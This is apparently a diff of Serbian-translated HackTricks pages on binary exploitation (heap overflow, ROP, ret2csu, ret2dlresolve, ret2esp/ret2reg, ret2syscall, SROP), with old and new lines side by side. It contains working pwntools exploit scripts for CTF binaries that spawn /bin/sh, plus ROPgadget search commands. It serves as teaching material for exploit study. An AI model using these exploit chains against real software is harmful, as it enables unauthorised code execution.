U [**protostar heap 1**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap1/index.html) primeru moguće je videti kako zloupotreba buffer overflow-a omogućava **prepisivanje u bliskom chunk-u adrese** gde će **arbitrarni podaci od korisnika** biti napisani.
### Example ARM64
### Primer ARM64
Na stranici [https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/) možete pronaći primer heap overflow-a gde je komanda koja će biti izvršena smeštena u sledećem chunk-u od preplavljenog chunk-a. Tako, moguće je modifikovati izvršenu komandu prepisivanjem sa lakom eksploatacijom kao:
Na stranici [https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/) možete pronaći primer heap overflow-a gde je komanda koja će biti izvršena smeštena u sledeći chunk iz overflow-ovanog chunk-a. Tako, moguće je modifikovati izvršenu komandu prepisivanjem sa lakom eksploatacijom kao:
```bash
python3 -c 'print("/"*0x400+"/bin/ls\x00")' > hax.txt
```
### Other examples
### Ostali primeri
- [**Auth-or-out. Hack The Box**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/auth-or-out/)
- Koristimo ranjivost Integer Overflow da dobijemo Heap Overflow.
- Koristimo ranjivost Integer Overflow da bismo dobili Heap Overflow.
- Korumpiramo pokazivače na funkciju unutar `struct`-a prekomernog dela da postavimo funkciju kao što je `system` i dobijemo izvršenje koda.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,26 +1,26 @@
# ROP - Return Oriented Programing
# ROP - Programiranje Orijentisano na Povratak
{{#include ../../banners/hacktricks-training.md}}
## **Osnovne Informacije**
**Return-Oriented Programming (ROP)** je napredna tehnika eksploatacije koja se koristi za zaobilaženje sigurnosnih mera kao što su **No-Execute (NX)** ili **Data Execution Prevention (DEP)**. Umesto da se injektuje i izvršava shellcode, napadač koristi delove koda koji su već prisutni u binarnom fajlu ili u učitanim bibliotekama, poznatim kao **"gadgets"**. Svaki gadget obično se završava sa `ret` instrukcijom i izvršava malu operaciju, kao što je premestanje podataka između registara ili izvođenje aritmetičkih operacija. Povezivanjem ovih gadgets, napadač može konstruisati payload za izvođenje proizvoljnih operacija, efikasno zaobilazeći NX/DEP zaštite.
**Programiranje Orijentisano na Povratak (ROP)** je napredna tehnika eksploatacije koja se koristi za zaobilaženje sigurnosnih mera kao što su **No-Execute (NX)** ili **Prevencija Izvršavanja Podataka (DEP)**. Umesto da se injektuje i izvršava shellcode, napadač koristi delove koda koji su već prisutni u binarnom fajlu ili u učitanim bibliotekama, poznatim kao **"gadgets"**. Svaki gadget obično završava sa `ret` instrukcijom i izvršava malu operaciju, kao što je premeštanje podataka između registara ili izvođenje aritmetičkih operacija. Povezivanjem ovih gadgets, napadač može konstruisati payload za izvođenje proizvoljnih operacija, efikasno zaobilazeći NX/DEP zaštite.
### Kako ROP Funkcioniše
### Kako ROP Radi
1. **Otimaње Kontrole Tok**: Prvo, napadač treba da otme kontrolu toka programa, obično iskorišćavanjem buffer overflow-a da bi prepisao sačuvanu adresu povratka na steku.
2. **Povezivanje Gadgets**: Napadač pažljivo bira i povezuje gadgets da bi izvršio željene radnje. Ovo može uključivati postavljanje argumenata za poziv funkcije, pozivanje funkcije (npr., `system("/bin/sh")`), i rukovanje svim potrebnim čišćenjem ili dodatnim operacijama.
1. **Otimaње Kontrolnog Tok**: Prvo, napadač treba da otme kontrolni tok programa, obično iskorišćavanjem buffer overflow-a da bi prepisao sačuvanu adresu povratka na steku.
2. **Povezivanje Gadgets**: Napadač pažljivo bira i povezuje gadgets da bi izvršio željene akcije. To može uključivati postavljanje argumenata za poziv funkcije, pozivanje funkcije (npr., `system("/bin/sh")`), i rukovanje svim potrebnim čišćenjem ili dodatnim operacijama.
3. **Izvršenje Payload-a**: Kada ranjiva funkcija vrati, umesto da se vrati na legitimnu lokaciju, počinje da izvršava lanac gadgets.
### Alati
Obično se gadgets mogu pronaći koristeći [**ROPgadget**](https://github.com/JonathanSalwan/ROPgadget), [**ropper**](https://github.com/sashs/Ropper) ili direktno iz **pwntools** ([ROP](https://docs.pwntools.com/en/stable/rop/rop.html)).
Obično, gadgets se mogu pronaći koristeći [**ROPgadget**](https://github.com/JonathanSalwan/ROPgadget), [**ropper**](https://github.com/sashs/Ropper) ili direktno iz **pwntools** ([ROP](https://docs.pwntools.com/en/stable/rop/rop.html)).
## ROP Lanac u x86 Primeru
### **x86 (32-bit) Konvencije Poziva**
- **cdecl**: Pozivatelj čisti stek. Argumenti funkcije se stavljaju na stek u obrnutom redosledu (s desna na levo). **Argumenti se stavljaju na stek s desna na levo.**
- **cdecl**: Pozivaoc čisti stek. Argumenti funkcije se stavljaju na stek u obrnutom redosledu (s desna na levo). **Argumenti se stavljaju na stek s desna na levo.**
- **stdcall**: Slično cdecl, ali je pozvana funkcija odgovorna za čišćenje steka.
### **Pronalaženje Gadgets**
@ -29,15 +29,15 @@ Prvo, pretpostavimo da smo identifikovali potrebne gadgets unutar binarnog fajla
- `pop eax; ret`: Ovaj gadget uzima gornju vrednost steka u `EAX` registar i zatim se vraća, omogućavajući nam kontrolu nad `EAX`.
- `pop ebx; ret`: Slično prethodnom, ali za `EBX` registar, omogućavajući kontrolu nad `EBX`.
- `mov [ebx], eax; ret`: Premesti vrednost u `EAX` na memorijsku lokaciju na koju pokazuje `EBX` i zatim se vraća. Ovo se često naziva **write-what-where gadget**.
- `mov [ebx], eax; ret`: Premesti vrednost iz `EAX` u memorijsku lokaciju na koju pokazuje `EBX` i zatim se vraća. Ovo se često naziva **write-what-where gadget**.
- Pored toga, imamo adresu funkcije `system()` dostupnu.
### **ROP Lanac**
Koristeći **pwntools**, pripremamo stek za izvršenje ROP lanca na sledeći način sa ciljem da izvršimo `system('/bin/sh')`, obratite pažnju kako lanac počinje sa:
Koristeći **pwntools**, pripremamo stek za izvršenje ROP lanca na sledeći način, sa ciljem da izvršimo `system('/bin/sh')`, obratite pažnju kako lanac počinje sa:
1. `ret` instrukcijom za svrhe usklađivanja (opciono)
2. Adresom funkcije `system` (pretpostavljajući da je ASLR onemogućen i poznat libc, više informacija u [**Ret2lib**](ret2lib/))
1. `ret` instrukcijom za svrhe poravnanja (opciono)
2. Adresom funkcije `system` (pretpostavljajući da je ASLR onemogućen i da je libc poznat, više informacija u [**Ret2lib**](ret2lib/index.html))
3. Mesto za adresu povratka iz `system()`
4. Adresom stringa `"/bin/sh"` (parametar za funkciju system)
```python
@ -77,15 +77,15 @@ p.interactive()
### **x64 (64-bit) Calling conventions**
- Koristi **System V AMD64 ABI** konvenciju poziva na Unix-like sistemima, gde se **prvih šest celobrojnih ili pokazivačkih argumenata prenosi u registrima `RDI`, `RSI`, `RDX`, `RCX`, `R8`, i `R9`**. Dodatni argumenti se prenose na steku. Vraćena vrednost se smešta u `RAX`.
- **Windows x64** konvencija poziva koristi `RCX`, `RDX`, `R8`, i `R9` za prva četiri celobrojna ili pokazivačka argumenta, dok se dodatni argumenti prenose na steku. Vraćena vrednost se smešta u `RAX`.
- Koristi **System V AMD64 ABI** konvenciju poziva na Unix-like sistemima, gde se **prvih šest celobrojnih ili pokazivačkih argumenata prosleđuje u registrima `RDI`, `RSI`, `RDX`, `RCX`, `R8`, i `R9`**. Dodatni argumenti se prosleđuju na steku. Vraćena vrednost se smešta u `RAX`.
- **Windows x64** konvencija poziva koristi `RCX`, `RDX`, `R8`, i `R9` za prva četiri celobrojna ili pokazivačka argumenta, dok se dodatni argumenti prosleđuju na steku. Vraćena vrednost se smešta u `RAX`.
- **Registri**: 64-bitni registri uključuju `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP`, i `R8` do `R15`.
#### **Finding Gadgets**
Za naše potrebe, fokusiraćemo se na gadgete koji će nam omogućiti da postavimo **RDI** registar (da prenesemo **"/bin/sh"** string kao argument za **system()**) i zatim pozovemo **system()** funkciju. Pretpostavićemo da smo identifikovali sledeće gadgete:
Za naše potrebe, fokusiraćemo se na gadgete koji će nam omogućiti da postavimo **RDI** registar (da prosledimo **"/bin/sh"** string kao argument za **system()**) i zatim pozovemo **system()** funkciju. Pretpostavićemo da smo identifikovali sledeće gadgete:
- **pop rdi; ret**: Uzimanje gornje vrednosti steka u **RDI** i zatim vraćanje. Neophodno za postavljanje našeg argumenta za **system()**.
- **pop rdi; ret**: Uzimanje gornje vrednosti steka u **RDI** i zatim vraćanje. Osnovno za postavljanje našeg argumenta za **system()**.
- **ret**: Jednostavno vraćanje, korisno za poravnavanje steka u nekim scenarijima.
I znamo adresu **system()** funkcije.
@ -135,7 +135,7 @@ U ovom primeru:
### Poravnavanje Steka
**x86-64 ABI** osigurava da je **stek poravnat na 16 bajtova** kada se izvrši **call instrukcija**. **LIBC**, radi optimizacije performansi, **koristi SSE instrukcije** (kao što je **movaps**) koje zahtevaju ovo poravnavanje. Ako stek nije pravilno poravnat (što znači da **RSP** nije višekratnik 16), pozivi funkcijama kao što je **system** će propasti u **ROP lancu**. Da biste to ispravili, jednostavno dodajte **ret gadget** pre pozivanja **system** u vašem ROP lancu.
**x86-64 ABI** osigurava da je **stek poravnat na 16 bajtova** kada se izvrši **call instrukcija**. **LIBC**, da optimizuje performanse, **koristi SSE instrukcije** (kao što je **movaps**) koje zahtevaju ovo poravnavanje. Ako stek nije pravilno poravnat (što znači da **RSP** nije višekratnik 16), pozivi funkcijama kao što je **system** će propasti u **ROP lancu**. Da biste to ispravili, jednostavno dodajte **ret gadget** pre pozivanja **system** u vašem ROP lancu.
## Glavna razlika između x86 i x64
@ -154,8 +154,8 @@ Proverite sledeću stranicu za ove informacije:
## Zaštite protiv ROP
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **&** [**PIE**](../common-binary-protections-and-bypasses/pie/): Ove zaštite otežavaju korišćenje ROP-a jer se adrese gadgeta menjaju između izvršavanja.
- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/): U slučaju BOF-a, potrebno je zaobići skladištenje stack canary da bi se prepisali povratni pokazivači za zloupotrebu ROP lanca.
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **&** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html): Ove zaštite otežavaju korišćenje ROP-a jer se adrese gadgeta menjaju između izvršavanja.
- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/index.html): U slučaju BOF-a, potrebno je zaobići skladištenje stack canary da bi se prepisali povratni pokazivači za zloupotrebu ROP lanca.
- **Nedostatak Gadgeta**: Ako nema dovoljno gadgeta, neće biti moguće generisati ROP lanac.
## Tehnike zasnovane na ROP-u
@ -168,7 +168,7 @@ Imajte na umu da je ROP samo tehnika za izvršavanje proizvoljnog koda. Na osnov
ret2lib/
{{#endref}}
- **Ret2Syscall**: Koristi ROP za pripremu poziva na syscall, npr. `execve`, i izvršava proizvoljne komande.
- **Ret2Syscall**: Koristi ROP za pripremu poziva sistemskoj funkciji, npr. `execve`, i izvršava proizvoljne komande.
{{#ref}}
rop-syscall-execv/
@ -184,7 +184,7 @@ rop-syscall-execv/
- [https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions](https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions)
- [https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html)
- 64 bita, Pie i nx omogućeni, bez canary, prepisivanje RIP-a sa `vsyscall` adresom sa jedinom svrhom da se vrati na sledeću adresu u steku koja će biti delimično prepisivanje adrese da bi se dobila deo funkcije koja otkriva zastavicu
- 64 bita, Pie i nx omogućeni, bez canary, prepisivanje RIP-a sa `vsyscall` adresom sa jedinom svrhom da se vrati na sledeću adresu u steku koja će biti delimično prepisivanje adrese da se dobije deo funkcije koja otkriva zastavicu
- [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
- arm64, bez ASLR, ROP gadget za izvršavanje steka i skakanje na shellcode u steku

View File

@ -24,11 +24,11 @@ pop r14;
pop r15;
ret;
```
Ovaj uređaj nam omogućava da kontrolišemo ove registre tako što izbacujemo vrednosti sa steka u njih.
Ovaj uređaj nam omogućava da kontrolišemo ove registre tako što izvlačimo vrednosti sa steka u njih.
2. Druga sekvenca koristi vrednosti koje smo postavili da uradi nekoliko stvari:
- **Premesti specifične vrednosti u druge registre**, pripremajući ih za korišćenje kao parametre u funkcijama.
- **Izvršiti poziv na lokaciju** određenu sabiranjem vrednosti u r15 i rbx, a zatim množenjem rbx sa 8.
- **Izvrši poziv na lokaciju** određenu sabiranjem vrednosti u r15 i rbx, a zatim množenjem rbx sa 8.
```armasm
mov rdx, r15;
mov rsi, r14;
@ -50,7 +50,7 @@ ret
Uslovi će biti:
- `[r12 + rbx*8]` mora da pokazuje na adresu koja čuva pozivnu funkciju (ako nemate ideju i nema pie, možete jednostavno koristiti funkciju `_init`):
- Ako je \_init na `0x400560`, koristite GEF da pretražite memoriju za pokazivač na nju i učinite da `[r12 + rbx*8]` bude adresa sa pokazivačem na \_init:
- Ako je \_init na `0x400560`, koristite GEF da pretražite pokazivač u memoriji ka njoj i učinite da `[r12 + rbx*8]` bude adresa sa pokazivačem na \_init:
```bash
# Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
gef➤ search-pattern 0x400560
@ -111,11 +111,11 @@ p.sendline(p64(elf.sym['win'])) # send to gets() so it's written
print(p.recvline()) # should receive "Awesome work!"
```
> [!WARNING]
> Imajte na umu da prethodni exploit nije namenjen za **`RCE`**, već samo da pozove funkciju pod nazivom **`win`** (uzimajući adresu `win` iz stdin pozivajući gets u ROP lancu i čuvajući je u r15) sa trećim argumentom čija je vrednost `0xdeadbeefcafed00d`.
> Imajte na umu da prethodni exploit nije namenjen za **`RCE`**, već je namenjen samo za pozivanje funkcije pod nazivom **`win`** (uzimajući adresu `win` iz stdin pozivajući gets u ROP lancu i čuvajući je u r15) sa trećim argumentom čija je vrednost `0xdeadbeefcafed00d`.
### Zaobilaženje poziva i dolazak do ret
### Obilaženje poziva i dolazak do ret
Sledeći exploit je izvučen [**sa ove stranice**](https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html) gde se koristi **ret2csu**, ali umesto korišćenja poziva, **zaobilazi poređenja i dolazi do `ret`** nakon poziva:
Sledeći exploit je izvučen [**sa ove stranice**](https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html) gde se koristi **ret2csu**, ali umesto korišćenja poziva, **obilazi poređenja i dolazi do `ret`** nakon poziva:
```python
# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
# This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/
@ -167,6 +167,6 @@ target.interactive()
```
### Zašto ne koristiti libc direktno?
Obično su ovi slučajevi takođe ranjivi na [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/), ali ponekad je potrebno kontrolisati više parametara nego što se lako može kontrolisati sa gadgetima koje direktno pronađete u libc. Na primer, `write()` funkcija zahteva tri parametra, i **pronalazak gadgeta za postavljanje svih ovih direktno možda neće biti moguć**.
Obično su ovi slučajevi takođe ranjivi na [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/index.html), ali ponekad je potrebno kontrolisati više parametara nego što se lako može kontrolisati sa gadgetima koje direktno pronađete u libc. Na primer, `write()` funkcija zahteva tri parametra, i **pronalazak gadgeta za postavljanje svih ovih direktno možda neće biti moguć**.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,16 +4,16 @@
## Osnovne informacije
Kao što je objašnjeno na stranici o [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) i [**Relro**](../common-binary-protections-and-bypasses/relro.md), binarni fajlovi bez Full Relro će rešavati simbole (kao što su adrese do spoljašnjih biblioteka) prvi put kada se koriste. Ova rezolucija se dešava pozivanjem funkcije **`_dl_runtime_resolve`**.
Kao što je objašnjeno na stranici o [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) i [**Relro**](../common-binary-protections-and-bypasses/relro.md), binarni fajlovi bez Full Relro će rešavati simbole (kao što su adrese do eksternih biblioteka) prvi put kada se koriste. Ova rezolucija se dešava pozivanjem funkcije **`_dl_runtime_resolve`**.
Funkcija **`_dl_runtime_resolve`** uzima sa steka reference na neke strukture koje su joj potrebne da **reši** specificirani simbol.
Stoga, moguće je **falsifikovati sve te strukture** kako bi dinamički povezano rešavanje traženog simbola (kao što je funkcija **`system`**) i pozvati je sa konfigurisanom parametrima (npr. **`system('/bin/sh')`**).
Obično, sve te strukture se falsifikuju pravljenjem **inicijalnog ROP lanca koji poziva `read`** preko zapisive memorije, zatim se **strukture** i string **`'/bin/sh'`** prosleđuju tako da ih `read` sačuva na poznatoj lokaciji, a zatim ROP lanac nastavlja pozivajući **`_dl_runtime_resolve`**, imajući ga da **reši adresu `system`** u falsifikovanim strukturama i **poziva ovu adresu** sa adresom do `$'/bin/sh'`.
Obično, sve te strukture se falsifikuju pravljenjem **početnog ROP lanca koji poziva `read`** preko zapisive memorije, zatim se **strukture** i string **`'/bin/sh'`** prosleđuju tako da ih `read` sačuva na poznatoj lokaciji, a zatim ROP lanac nastavlja pozivajući **`_dl_runtime_resolve`**, imajući ga da **reši adresu `system`** u falsifikovanim strukturama i **poziva ovu adresu** sa adresom do `$'/bin/sh'`.
> [!TIP]
> Ova tehnika je posebno korisna ako ne postoje syscall gadgeti (da se koriste tehnike kao što su [**ret2syscall**](rop-syscall-execv/) ili [SROP](srop-sigreturn-oriented-programming/)) i nema načina da se procure libc adrese.
> Ova tehnika je posebno korisna ako ne postoje syscall gadgeti (da se koriste tehnike kao što su [**ret2syscall**](rop-syscall-execv/index.html) ili [SROP](srop-sigreturn-oriented-programming/index.html)) i nema načina da se procure libc adrese.
Pogledajte ovaj video za lepo objašnjenje o ovoj tehnici u drugoj polovini videa:
@ -32,7 +32,7 @@ Ili pogledajte ove stranice za objašnjenje korak po korak:
2. Postaviti prvi argument funkcije system (`$rdi = &'/bin/sh'`)
3. Postaviti na stek adrese do struktura da pozove **`_dl_runtime_resolve`**
4. **Pozvati** `_dl_runtime_resolve`
5. **`system`** će biti rešena i pozvana sa `'/bin/sh'` kao argumentom
5. **`system`** će biti rešen i pozvan sa `'/bin/sh'` kao argumentom
Iz [**pwntools dokumentacije**](https://docs.pwntools.com/en/stable/rop/ret2dlresolve.html), ovako izgleda **`ret2dlresolve`** napad:
```python
@ -188,6 +188,6 @@ target.interactive()
- [https://youtu.be/ADULSwnQs-s](https://youtu.be/ADULSwnQs-s?feature=shared)
- [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve)
- [https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html](https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html)
- 32bit, bez relro, bez kanarija, nx, bez pie, osnovni mali buffer overflow i povratak. Da bi se iskoristilo, bof se koristi da ponovo pozove `read` sa `.bss` sekcijom i većom veličinom, da bi se u nju smeštale `dlresolve` lažne tabele za učitavanje `system`, vraćanje na main i ponovna zloupotreba inicijalnog bof-a da pozove dlresolve i zatim `system('/bin/sh')`.
- 32bit, bez relro, bez kanarija, nx, bez pie, osnovni mali buffer overflow i povratak. Da bi se iskoristilo, bof se koristi da ponovo pozove `read` sa `.bss` sekcijom i većom veličinom, da bi se u nju smeštale `dlresolve` lažne tabele za učitavanje `system`, vraćanje na main i ponovna zloupotreba inicijalnog bof-a za pozivanje dlresolve i zatim `system('/bin/sh')`.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -6,9 +6,9 @@
**Pošto ESP (Stack Pointer) uvek pokazuje na vrh steka**, ova tehnika uključuje zamenu EIP (Instruction Pointer) sa adresom **`jmp esp`** ili **`call esp`** instrukcije. Na taj način, shellcode se postavlja odmah nakon prepisanog EIP-a. Kada se izvrši `ret` instrukcija, ESP pokazuje na sledeću adresu, tačno gde je shellcode smešten.
Ako **Address Space Layout Randomization (ASLR)** nije omogućen u Windows-u ili Linux-u, moguće je koristiti `jmp esp` ili `call esp` instrukcije koje se nalaze u deljenim bibliotekama. Međutim, sa aktivnim [**ASLR**](../common-binary-protections-and-bypasses/aslr/), možda će biti potrebno da se potraže ove instrukcije unutar same ranjive aplikacije (i možda će biti potrebno da se savlada [**PIE**](../common-binary-protections-and-bypasses/pie/)).
Ako **Address Space Layout Randomization (ASLR)** nije omogućen u Windows-u ili Linux-u, moguće je koristiti `jmp esp` ili `call esp` instrukcije koje se nalaze u deljenim bibliotekama. Međutim, sa aktivnim [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html), možda će biti potrebno da se potraže ove instrukcije unutar same ranjive aplikacije (i možda ćete morati da savladate [**PIE**](../common-binary-protections-and-bypasses/pie/index.html)).
Štaviše, mogućnost postavljanja shellcode-a **posle korupcije EIP-a**, umesto u sredini steka, osigurava da bilo koje `push` ili `pop` instrukcije izvršene tokom rada funkcije ne ometaju shellcode. Ova ometanja mogla bi se desiti ako bi shellcode bio postavljen u sredini steka funkcije.
Pored toga, mogućnost postavljanja shellcode-a **posle korupcije EIP-a**, umesto u sredini steka, osigurava da bilo koje `push` ili `pop` instrukcije izvršene tokom rada funkcije ne ometaju shellcode. Ova ometanja mogla bi se desiti ako bi shellcode bio postavljen u sredini steka funkcije.
### Nedostatak prostora
@ -17,7 +17,7 @@ Ako vam nedostaje prostora da pišete nakon prepisivanja RIP-a (možda samo neko
sub rsp, 0x30
jmp rsp
```
I napišite shellcode rano na steku.
I napišite shellcode rano u steku.
### Primer
@ -41,7 +41,7 @@ pause()
p.sendlineafter('RSP!\n', payload)
p.interactive()
```
Možete videti još jedan primer ove tehnike u [https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html](https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html). Postoji buffer overflow bez omogućene NX, koristi se gadget da **smanji adresu `$esp`** i zatim `jmp esp;` da skoči na shellcode:
Možete videti još jedan primer ove tehnike u [https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html](https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html). Postoji buffer overflow bez NX omogućenog, koristi se gadget da **smanji adresu `$esp`** i zatim `jmp esp;` da skoči na shellcode:
```python
# From https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html
from pwn import *
@ -78,7 +78,7 @@ target.interactive()
```
## Ret2reg
Slično, ako znamo da funkcija vraća adresu na kojoj je smešten shellcode, možemo iskoristiti **`call eax`** ili **`jmp eax`** instrukcije (poznate kao **ret2eax** tehnika), nudeći još jedan način za izvršavanje našeg shellcode-a. Baš kao i eax, **bilo koji drugi registar** koji sadrži zanimljivu adresu može se koristiti (**ret2reg**).
Slično, ako znamo da funkcija vraća adresu na kojoj je sačuvan shellcode, možemo iskoristiti **`call eax`** ili **`jmp eax`** instrukcije (poznate kao **ret2eax** tehnika), nudeći još jedan način za izvršavanje našeg shellcode-a. Baš kao i eax, **bilo koji drugi registar** koji sadrži zanimljivu adresu može se koristiti (**ret2reg**).
### Primer
@ -86,13 +86,13 @@ Možete pronaći neke primere ovde:&#x20;
- [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg)
- [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c)
- **`strcpy`** će u **`eax`** sačuvati adresu bafera gde je shellcode bio smešten i **`eax`** se ne prepisuje, tako da je moguće koristiti `ret2eax`.
- **`strcpy`** će sačuvati u **`eax`** adresu bafera gde je shellcode sačuvan i **`eax`** se ne prepisuje, tako da je moguće koristiti `ret2eax`.
## ARM64
### Ret2sp
U ARM64 ne **postoji** instrukcija koja omogućava **skakanje na SP registar**. Možda bi bilo moguće pronaći gadget koji **premesti sp u registar i zatim skoči na taj registar**, ali u libc mog kali nisam mogao pronaći takav gadget:
U ARM64 ne **postoji** instrukcija koja omogućava **skakanje na SP registar**. Moguće je pronaći gadget koji **premesti sp u registar i zatim skoči na taj registar**, ali u libc mog kali nisam mogao pronaći takav gadget:
```bash
for i in `seq 1 30`; do
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)";
@ -104,7 +104,7 @@ Jedini koje sam otkrio bi promenili vrednost registra gde je sp kopiran pre nego
### Ret2reg
Ako registar ima zanimljivu adresu, moguće je skočiti na nju jednostavno pronalazeći adekvatnu instrukciju. Možete koristiti nešto poput:
Ako registar ima zanimljivu adresu, moguće je skočiti na nju jednostavno pronalazeći adekvatnu instrukciju. Mogli biste koristiti nešto poput:
```bash
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei " b[a-z]* x[0-9][0-9]?";
```
@ -164,8 +164,8 @@ p.interactive()
## Protekcije
- [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): Ako stek nije izvršiv, ovo neće pomoći jer treba da stavimo shellcode na stek i skočimo da ga izvršimo.
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) & [**PIE**](../common-binary-protections-and-bypasses/pie/): Ove zaštite mogu otežati pronalaženje instrukcije na koju treba skočiti, bilo na esp ili neki drugi registar.
- [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): Ako stek nije izvršiv, ovo neće pomoći jer moramo staviti shellcode u stek i skočiti da ga izvršimo.
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) & [**PIE**](../common-binary-protections-and-bypasses/pie/index.html): Ove zaštite mogu otežati pronalaženje instrukcije za skakanje na esp ili neki drugi registar.
## Reference

View File

@ -4,7 +4,7 @@
## Osnovne informacije
Ovo je slično Ret2lib, međutim, u ovom slučaju nećemo pozivati funkciju iz biblioteke. U ovom slučaju, sve će biti pripremljeno za pozivanje syscall `sys_execve` sa nekim argumentima za izvršavanje `/bin/sh`. Ova tehnika se obično primenjuje na binarne datoteke koje su statički kompajlirane, tako da može biti mnogo gadgeta i syscall instrukcija.
Ovo je slično Ret2lib, međutim, u ovom slučaju nećemo pozivati funkciju iz biblioteke. U ovom slučaju, sve će biti pripremljeno za pozivanje syscall `sys_execve` sa nekim argumentima za izvršavanje `/bin/sh`. Ova tehnika se obično primenjuje na binarnim datotekama koje su statički kompajlirane, tako da može biti mnogo gadgeta i syscall instrukcija.
Da bismo pripremili poziv za **syscall**, potrebna je sledeća konfiguracija:
@ -16,11 +16,11 @@ Da bismo pripremili poziv za **syscall**, potrebna je sledeća konfiguracija:
Dakle, u suštini, potrebno je napisati string `/bin/sh` negde i zatim izvršiti `syscall` (imajući u vidu potrebnu padding za kontrolu steka). Za to nam je potreban gadget da napišemo `/bin/sh` u poznatom području.
> [!TIP]
> Još jedan zanimljiv syscall koji se može pozvati je **`mprotect`** koji bi omogućio napadaču da **modifikuje dozvole stranice u memoriji**. Ovo se može kombinovati sa [**ret2shellcode**](../../stack-overflow/stack-shellcode/).
> Još jedan zanimljiv syscall za pozivanje je **`mprotect`** koji bi omogućio napadaču da **modifikuje dozvole stranice u memoriji**. Ovo se može kombinovati sa [**ret2shellcode**](../../stack-overflow/stack-shellcode/index.html).
## Gadgeti za registre
Hajde da počnemo sa pronalaženjem **kako da kontrolišemo te registre**:
Hajde da počnemo sa pronalaženjem **kako kontrolisati te registre**:
```bash
ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
0x0000000000415664 : pop rax ; ret
@ -28,13 +28,13 @@ ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
0x00000000004101f3 : pop rsi ; ret
0x00000000004498b5 : pop rdx ; ret
```
Sa ovim adresama je moguće **pisati sadržaj u stek i učitati ga u registre**.
Sa ovim adresama je moguće **pisati sadržaj na steku i učitati ga u registre**.
## Pisanje stringa
### Writable memory
Prvo treba da pronađete mesto u memoriji koje može da se piše
Prvo treba da pronađete mesto koje može da se piše u memoriji
```bash
gef> vmmap
[ Legend: Code | Heap | Stack ]

View File

@ -11,9 +11,9 @@ Nakon što signalni handler završi, program treba da **nastavi svoje prethodno
Zanimljiv deo je kako **`sigreturn`** obnavlja stanje programa: to čini tako što čuva **sve vrednosti CPU registara na steku.** Kada signal više nije blokiran, **`sigreturn` uklanja ove vrednosti sa steka**, efikasno resetujući registre CPU-a na njihov stanje pre nego što je signal obrađen. Ovo uključuje registar pokazivača steka (RSP), koji pokazuje na trenutni vrh steka.
> [!CAUTION]
> Pozivanje syscall-a **`sigreturn`** iz ROP lanca i **dodavanje registarskih vrednosti** koje bismo želeli da učitamo u **stek** omogućava nam da **kontrolišemo** sve registarske vrednosti i stoga **pozovemo** na primer syscall `execve` sa `/bin/sh`.
